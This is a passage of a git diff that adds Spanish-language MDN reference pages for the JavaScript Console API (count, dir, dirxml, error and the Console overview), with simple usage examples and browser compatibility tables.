+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracterìstica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("28.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Disponible en workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("38.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="http://www.opera.com/dragonfly/documentation/console/">Opera Dragonfly documentación: Consola</a></li>
+ <li><a href="http://msdn.microsoft.com/library/gg589530">MSDN: Usando F12 Herramientas de Consola para ver Errores y Estados</a></li>
+ <li><a href="https://developer.chrome.com/devtools/docs/console#assertions">Herramientas de Desarrollo de Chrome: Usando la Consola</a></li>
+</ul>
diff --git a/files/es/web/api/console/count/index.html b/files/es/web/api/console/count/index.html
new file mode 100644
index 0000000000..c641504034
--- /dev/null
+++ b/files/es/web/api/console/count/index.html
@@ -0,0 +1,168 @@
+---
+title: Console.count()
+slug: Web/API/Console/count
+translation_of: Web/API/Console/count
+---
+<div>{{APIRef("Console API")}}</div>
+
+<p>Registra el número de veces que se llama a <code>count()</code>. Esta función toma como argumento opcional una <code>etiqueta</code>.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<p>Si la <code>etiqueta</code> es colocada, esta funcion muestra el numeros de veces que <code>count()</code> ha sido utilizada con la misma etiqueta.</p>
+
+<p>Si la <code>etiqueta</code> es omitida, la funcion registra el numero de veces  que  <code>count()</code> fue llamada en esta línea en particular.</p>
+
+<p>Por ejemplo, en este código:</p>
+
+<pre class="brush: js">var user = "";
+
+function greet() {
+  console.count();
+  return "hi " + user;
+}
+
+user = "bob";
+greet();
+user = "alice";
+greet();
+greet();
+console.count();</pre>
+
+<p>La salida de la consola va a mostrar algo como esto:</p>
+
+<pre class="eval">"&lt;no label&gt;: 1"
+"&lt;no label&gt;: 2"
+"&lt;no label&gt;: 3"
+"&lt;no label&gt;: 1"
+</pre>
+
+<p>Note que al final de la linea de la salida: La llamada separada <code>count()</code> en la linea 11 es tratada como un evento independiente.</p>
+
+<p>Si pasamos la variable <code>user</code> como <code>etiqueta</code>  en la primera llamada a <code>count()</code>  y  la cadena "alice" en la segunda llamada:</p>
+
+<pre class="brush: js">var user = "";
+
+function greet() {
+  console.count(user);
+  return "hi " + user;
+}
+
+user = "bob";
+greet();
+user = "alice";
+greet();
+greet();
+console.count("alice");</pre>
+
+<p>Vamos a ver una salida como esta:</p>
+
+<pre class="eval">"bob: 1"
+"alice: 1"
+"alice: 2"
+"alice: 3"</pre>
+
+<p>Ahora tenemos diferentes contadores según el valor de la <code>etiqueta</code>.  Al coincidir la etiqueta "alice" en la línea 11 con el valor de <code>user</code> dos veces, no se considera un evento independiente.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">console.count([label]);
+</pre>
+
+<h2 id="Parámetros">Parámetros</h2>
+
+<dl>
+ <dt><code>label</code></dt>
+ <dd>Una cadena. Si se proporciona, la salida de <code>count()</code> indica el número de veces que fue llamada con la etiqueta. Si se omite, la salida de <code>count()</code> indica el número de veces que fue llamada en esa misma línea.</dd>
+</dl>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#count", "console.count()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td><span id="result_box" lang="es"><span>Definición inicial</span></span></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_los_navegadores">Compatibilidad en los navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte basico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("30.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Available in workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("38.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteritica</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte basico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("30.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Available in workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("38.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/es/web/api/console/dir/index.html b/files/es/web/api/console/dir/index.html
new file mode 100644
index 0000000000..6faa810f7d
--- /dev/null
+++ b/files/es/web/api/console/dir/index.html
@@ -0,0 +1,119 @@
+---
+title: Console.dir()
+slug: Web/API/Console/dir
+translation_of: Web/API/Console/dir
+---
+<p>{{APIRef("Console API")}}</p>
+
+<p><span class="seoSummary">El método <strong><code>dir()</code></strong> de {{domxref("Console")}} despliega una lista interactiva de las propiedades del objeto JavaScript especificado. El resultado es presentado como un listado jerárquico con triángulos de despliegue que te dejan ver los contenidos de los objetos hijos.</span></p>
+
+<p>Dicho de otra manera, <code>console.dir()</code> es la manera de ver todas las propiedades de un objeto JavaScript específicado por consola, mediante la cual el desarrollador puede facilmente obtener las propiedades del objeto.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<p><img alt="console-dir.png" class="default internal" src="/@api/deki/files/6081/=console-dir.png"></p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate">console.dir(<em>objeto</em>);
+</pre>
+
+<h2 id="Parámetros">Parámetros</h2>
+
+<dl>
+ <dt><code>objeto</code></dt>
+ <dd><code>Un objeto JavaScript cuyas propiedades deben ser mostradas como resultado.</code></dd>
+</dl>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#consoledirobject", "console.dir()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("8.0")}}</td>
+   <td>9</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Available in workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("38.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("8.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Available in workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("38.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a class="external" href="http://www.opera.com/dragonfly/documentation/console/">Opera Dragonfly documentation: Console</a></li>
+ <li><a class="external" href="http://msdn.microsoft.com/library/gg589530">MSDN: Using the F12 Tools Console to View Errors and Status</a></li>
+ <li><a href="https://developers.google.com/chrome-developer-tools/docs/console-api#consoledirobject">Chrome Console API reference</a></li>
+</ul>
diff --git a/files/es/web/api/console/dirxml/index.html b/files/es/web/api/console/dirxml/index.html
new file mode 100644
index 0000000000..c4d6b529f5
--- /dev/null
+++ b/files/es/web/api/console/dirxml/index.html
@@ -0,0 +1,103 @@
+---
+title: Console.dirxml()
+slug: Web/API/Console/dirxml
+tags:
+  - API
+  - DOM
+  - Depuración
+  - metodo
+translation_of: Web/API/Console/dirxml
+---
+<div>{{APIRef("Console API")}}{{Non-standard_header}}</div>
+
+<p>Muestra en consola un árbol interactivo de los elementos descendientes del elemento XML/HTML especificado. Si no es posible mostrarlo como un elemento, la vista de objeto se muestra en su lugar. La salida se presenta como una lista jerárquica de nodos expandibles que le permiten ver el contenido de los nodos hijos.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">console.dirxml(<em>objeto</em>);
+</pre>
+
+<h2 id="Parámetros">Parámetros</h2>
+
+<dl>
+ <dt><code>objeto</code></dt>
+ <dd>Un objeto JavaScript cuyas propiedades deben ser mostradas.</dd>
+</dl>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Available in workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Available in workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a class="external" href="http://www.opera.com/dragonfly/documentation/console/">Opera Dragonfly documentation: Console</a></li>
+</ul>
diff --git a/files/es/web/api/console/error/index.html b/files/es/web/api/console/error/index.html
new file mode 100644
index 0000000000..41efb36598
--- /dev/null
+++ b/files/es/web/api/console/error/index.html
@@ -0,0 +1,179 @@
+---
+title: console.error()
+slug: Web/API/Console/error
+tags:
+  - API
+  - DOM
+  - Depurando
+  - Desarrollo web
+  - consola web
+  - metodo
+translation_of: Web/API/Console/error
+---
+<div>{{APIRef("Console API")}}</div>
+
+<p>Muestra un mensaje de error en la Consola Web.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">console.error(<em>obj1</em> [, <em>obj2</em>, ..., <em>objN</em>]);
+console.error(<em>msg</em> [, <em>subst1</em>, ..., <em>substN</em>]);
+console.exception(<em>obj1</em> [, <em>obj2</em>, ..., <em>objN</em>]);
+console.exception(<em>msg</em> [, <em>subst1</em>, ..., <em>substN</em>]);
+</pre>
+
+<div class="note">
+<p><strong>Nota:</strong> <code>console.exception()</code> es un alias de <code>console.error()</code>; son funcionalmente identicas.</p>
+</div>
+
+<h3 id="Parametros">Parametros</h3>
+
+<dl>
+ <dt><code>obj1</code> ... <code>objN</code></dt>
+ <dd>
+ <p>Una lista de objetos JavaScript para mostrar. Las representaciones en texto de cada uno de los objetos se agregan y muestran juntas (al final una tras otra), en el orden listado.</p>
+ </dd>
+ <dt><code>msg</code></dt>
+ <dd>Un texto (mensaje) conteniendo cero o más sustituciones de cadenas (sustituciones de strings). </dd>
+ <dt><code>subst1</code> ... <code>substN</code></dt>
+ <dd>Objetos JavaScript con la sustitución a reemplazar dentro del texto (<strong><code>msg</code></strong>). Esto brinda control adicional en el formato de salida del texto. </dd>
+</dl>
+
+<p>Vea "<a href="/es/docs/Web/API/console#Outputting_text_to_the_console">Mostrando texto en la consola</a>" en la documentacion de {{domxref("console")}} para mas detalles.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#error", "console.error()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td>Definicion inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteristica</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte basico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>8</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Substitucion de cadenas</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("9.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>console.exception</code> alias</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("28.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Disponible en workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("38.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteristica</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte basico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Substitucion de cadenas</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("9.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>console.exception</code> alias</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("28.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Disponible en workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("38.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li><a href="http://www.opera.com/dragonfly/documentation/console/">Documentacion de Opera Dragonfly: Console</a></li>
+ <li><a href="http://msdn.microsoft.com/library/gg589530">MSDN: Using the F12 Tools Console to View Errors and Status</a></li>
+ <li><a href="https://developers.google.com/chrome-developer-tools/docs/console#errors_and_warnings">Herramientas de desarrolladores de Chrome: Usando la Consola</a></li>
+</ul>
diff --git a/files/es/web/api/console/index.html b/files/es/web/api/console/index.html
new file mode 100644
index 0000000000..9c1dd3fcba
--- /dev/null
+++ b/files/es/web/api/console/index.html
@@ -0,0 +1,254 @@
+---
+title: Console
+slug: Web/API/Console
+tags:
+  - API
+  - DOM
+  - Debugging
+  - Depuración
+  - NeedsCompatTable
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+  - consola web
+  - web console
+translation_of: Web/API/Console
+---
+<div>{{APIRef("Console API")}}{{Non-standard_header}}</div>
+
+<p>El objeto <code><strong>Console</strong> </code>provee acceso a la consola de depuración de los navegadores (e.j., la <a href="/en-US/docs/Tools/Web_Console">Consola Web</a> en Firefox). Los detalles de como funciona varían de navegador en navegador, pero hay un conjunto de características que <em>de facto</em> son generalmente proporcionadas.</p>
+
+<p><code>Console </code>puede ser accedido desde cualquier método global, {{domxref("Window")}} en el ámbito de navegación, {{domxref("WorkerGlobalScope")}}, y sus variantes especificas de <code>worker</code>.</p>
+
+<p>Esta página documenta los {{anch("Métodos")}} disponibles en el objeto <code>console </code>y da algunos ejemplos de {{anch("uso")}}.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Métodos">Métodos</h2>
+
+<dl>
+ <dt>{{domxref("Console.assert()")}}</dt>
+ <dd>Registra un mensaje y envía una traza de error a la consola si el primer argumento es <code>false</code>.</dd>
+ <dt>{{domxref("Console.count()")}}</dt>
+ <dd>Registra el numero de veces que esta línea ha sido llamada con etiqueta dada.</dd>
+ <dt>{{domxref("Console.debug()")}} </dt>
+ <dd>Registra un mensaje con el nivel de<code>"debug"</code>.
+ <div class="note"><strong>Note</strong>: A partir de Chromium 58 este método solo aparece en las consolas de navegadores Chromium cuando el nivel "Verbose" está seleccionado.</div>
+ </dd>
+ <dt>{{domxref("Console.dir()")}}</dt>
+ <dd>Muestra un listado interactivo de las propiedades de un objeto JavaScript específico. Esta lista le permite examinar el contenido de los objetos hijos.</dd>
+ <dt>{{domxref("Console.dirxml()")}}</dt>
+ <dd>
+ <p>Muestra una representación en forma de árbol de un elemento XML/HTML si es posible o la vista del objeto JavaScript si no es posible.</p>
+ </dd>
+ <dt>{{domxref("Console.error()")}}</dt>
+ <dd>Muestra un mensaje de error. Se pueden utilizar <a href="/en-US/docs/Web/API/console#Using_string_substitutions">sustituciones de cadena</a> y argumentos adicionales con este método.</dd>
+ <dt>{{domxref("Console._exception()")}}</dt>
+ <dd>Es un alias de <code>error()</code>.</dd>
+ <dt>{{domxref("Console.group()")}}</dt>
+ <dd>Crea un nuevo <a href="/en-US/docs/Web/API/console#Using_groups_in_the_console">grupo</a>, indentando todos los mensajes subsecuentes en un nuevo nivel. Para retroceder un nivel, se utiliza <code>groupEnd()</code>.</dd>
+ <dt>{{domxref("Console.groupCollapsed()")}}</dt>
+ <dd>Crea un nuevo <a href="/en-US/docs/Web/API/console#Using_groups_in_the_console">grupo</a>, indentando todos los mensajes subsecuentes en un nuevo nivel. A diferencia de <code>group()</code>, inicia con la línea de grupo colapsada, requiriendo el uso de un botón de apertura para expandir el grupo. Para retroceder un nivel, se utiliza <code>groupEnd()</code>.</dd>
+ <dt>{{domxref("Console.groupEnd()")}}</dt>
+ <dd>Finaliza el <a href="/en-US/docs/Web/API/console#Using_groups_in_the_console">grupo</a> actual.</dd>
+ <dt>{{domxref("Console.info()")}}</dt>
+ <dd>Muestra un mensaje de información en la <a href="/en-US/docs/Tools/Web_Console">Consola Web</a>. Se puede utilizar <a href="/en-US/docs/Web/API/console#Using_string_substitutions">sustitución de cadena</a> y argumentos adicionales con este método.</dd>
+ <dt>{{domxref("Console.log()")}}</dt>
+ <dd>Para mensajes generales de registro de información. Se puede utilizar <a href="/en-US/docs/Web/API/console#Using_string_substitutions">sustitución de cadena</a> y argumentos adicionales con este método.</dd>
+ <dt>{{domxref("Console.profile()")}}</dt>
+ <dd>Inicia el registro de un perfil de rendimiento (<a href="/en-US/docs/Tools/Performance">Firefox performance tool</a>). Se puede especificar un nombre opcional para el perfil.</dd>
+ <dt>{{domxref("Console.profileEnd()")}}</dt>
+ <dd>Detiene el perfil. Usted puede revisar el perfil resultante en la herramienta de desempeño del navegador (por ejemplo, la <a href="/en-US/docs/Tools/Performance">herramienta de rendimiento de Firefox</a>).</dd>
+ <dt>{{domxref("Console.table()")}}</dt>
+ <dd>Muestra datos tabulares en forma de una tabla.</dd>
+ <dt>{{domxref("Console.time()")}}</dt>
+ <dd>Inicia un <a href="/en-US/docs/Web/API/console#Timers">temporizador </a>con un nombre específico como parámetro. Hasta 10.000 temporizadores simultáneos pueden ejecutarse en una página determinada.</dd>
+ <dt>{{domxref("Console.timeEnd()")}}</dt>
+ <dd>Detiene el <a href="/en-US/docs/Web/API/console#Timers">temporizador</a> especificado y registra el tiempo transcurrido, en segundos, desde su inicio.</dd>
+ <dt>{{domxref("Console.timeStamp()")}}</dt>
+ <dd>Adiciona una marca a las herramientas <a href="https://developer.chrome.com/devtools/docs/timeline">Timeline</a> o <a href="/en-US/docs/Tools/Performance/Waterfall">Waterfall</a> del navegador.</dd>
+ <dt>{{domxref("Console.trace()")}}</dt>
+ <dd>Muestra una <a href="/en-US/docs/Web/API/console#Stack_traces">traza de error</a>.</dd>
+ <dt>{{domxref("Console.warn()")}}</dt>
+ <dd>Muestra un mensaje de advertencia. Se puede utilizar <a href="/en-US/docs/Web/API/console#Using_string_substitutions">sustitución de cadena</a> y argumentos adicionales con este método.</dd>
+</dl>
+
+<h2 id="Usage" name="Usage">Uso</h2>
+
+<h3 id="Outputting_text_to_the_console" name="Outputting_text_to_the_console">Enviar texto a la consola</h3>
+
+<p>La característica mas utilizada de la consola es la de mostrar texto y otro datos. Existen cuatro categorías de salida que se pueden generar, utilizando los métodos {{domxref("console.log()")}}, {{domxref("console.info()")}}, {{domxref("console.warn()")}} y {{domxref("console.error()")}}. Cada uno de estos muestran resultados que se lucen diferentes en el registro y se pueden utilizar los controles de filtro proveidos por el navegador para ver únicamente los tipos de salida de interés.</p>
+
+<p>Hay dos maneras de usar cada uno de los métodos de salida; se puede ingresar una lisa de objetos de cadena (objectos strings) los cuales serán concatenados en una sola cadena, la cual se mostrará en la consola, o se puede ingresar una lista que contenga ninguna o mas sustituciones de cadena seguida por una lista de objetos con los cuales reemplazarlas.</p>
+
+<h4 id="Mostrando_un_solo_objeto">Mostrando un solo objeto</h4>
+
+<p>La manera mas simple de utilizar los métodos de registro es mostrar un solo objeto:</p>
+
+<pre class="brush: js">var someObject = { str: "Algún texto", id: 5 };
+console.log(someObject);
+</pre>
+
+<p>La salida se vera parecido a esto:</p>
+
+<pre>[09:27:13.475] ({str:"Algún texto", id:5})</pre>
+
+<h4 id="Mostrando_múltiples_objetos">Mostrando múltiples objetos</h4>
+
+<p>También se pueden mostrar múltiples objetos listándolos y luego llamando el método de registro, de esta forma:</p>
+
+<pre class="brush: js">var car = "Dodge Charger";
+var someObject = {str:"Algún texto", id:5};
+console.info("Mi primer carro fue un ", car, ". El objeto es: ", someObject);</pre>
+
+<p>La salida se verá parecido a esto:</p>
+
+<pre>[09:28:22.711] Mi primer carro fue un Dodge Charger . El objeto es:  ({str:"Algún texto", id:5})
+</pre>
+
+<h4 id="Utilizando_sustituciones_de_cadena">Utilizando sustituciones de cadena</h4>
+
+<p>Gecko 9.0 {{geckoRelease("9.0")}} introdujo soporte para sustituciones de cadena. Cuando se ingresa una caden a uno de los objetos de consola que acepta una cadena, es posible utilizar las siguientes sustituciones de cadena:</p>
+
+<table class="standard-table" style="width: auto;">
+ <tbody>
+  <tr>
+   <td class="header">Sustitución de cadena</td>
+   <td class="header">Descripción</td>
+  </tr>
+  <tr>
+   <td>%o</td>
+   <td>Muestra un hiper vinculo a un objeto JavaScript. Dando click en el link se abre un inspector.</td>
+  </tr>
+  <tr>
+   <td>%d or %i</td>
+   <td>Muestra un entero. El formato de presentación aun no esta soportado.</td>
+  </tr>
+  <tr>
+   <td>%s</td>
+   <td>Muestra una cadena.</td>
+  </tr>
+  <tr>
+   <td>%f</td>
+   <td>Muestra un valor de punto flotante. El formato de presentación aun no esta soportado.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Cada uno de estos llama al siguiente argumento de un array declarado en los argumentos. Por ejemplo:</p>
+
+<pre>for (var i=0; i&lt;5; i++) {
+  console.log("Hola, %s. Usted me ha llamado %d veces.", "Bob", i+1);
+}
+</pre>
+
+<p>La salida se verá parecido a esto:</p>
+
+<pre>[13:14:13.481] Hola, Bob. Usted me ha llamado me 1 veces.
+[13:14:13.483] Hola, Bob. Usted me ha llamado 2 veces.
+[13:14:13.485] Hola, Bob. Usted me ha llamado 3 veces.
+[13:14:13.487] Hola, Bob. Usted me ha llamado 4 veces.
+[13:14:13.488] Hola, Bob. Usted me ha llamado 5 veces.
+</pre>
+
+<h4 id="Dando_estilo_a_la_salida_de_la_consola.">Dando estilo a la salida de la consola.</h4>
+
+<p>Puedes usar la directiva <code>"%c" para aplicar un estilo </code>CSS a la salida de la consola:</p>
+
+<pre class="brush: js">console.log("%cMy stylish message", "color: red; font-style: italic");</pre>
+
+<div><img alt="" src="https://mdn.mozillademos.org/files/7739/console-style.png" style="display: block; height: 52px; margin-left: auto; margin-right: auto; width: 293px;"></div>
+
+<div>{{h3_gecko_minversion("Usando grupos en la consola", "9.0")}}</div>
+
+<p>Puedes usar grupos anidades para ayudar a organizar la salida visualmente combinando material relacionado. Para crear un nuevo bloque anidado, se debe usar <code>console.group(). El método console.groupCollapsed() es similar, pero crea el nuevo bloque colapsado, requiriendo el uso de un "botón de mostrar" para abrirlo y leerlo.</code></p>
+
+<div class="note"><strong>Nota:</strong> Grupos colapsados no están soportados en Gecko todavía,  el método <code>groupCollapsed() es el mismo que </code><code>group()</code> en este momento.</div>
+
+<p class="note">Para editar el grupo actual, simplemente usa <code>console.groupEnd()</code>.</p>
+
+<p class="note">Por ejemplo con el siguiente código:</p>
+
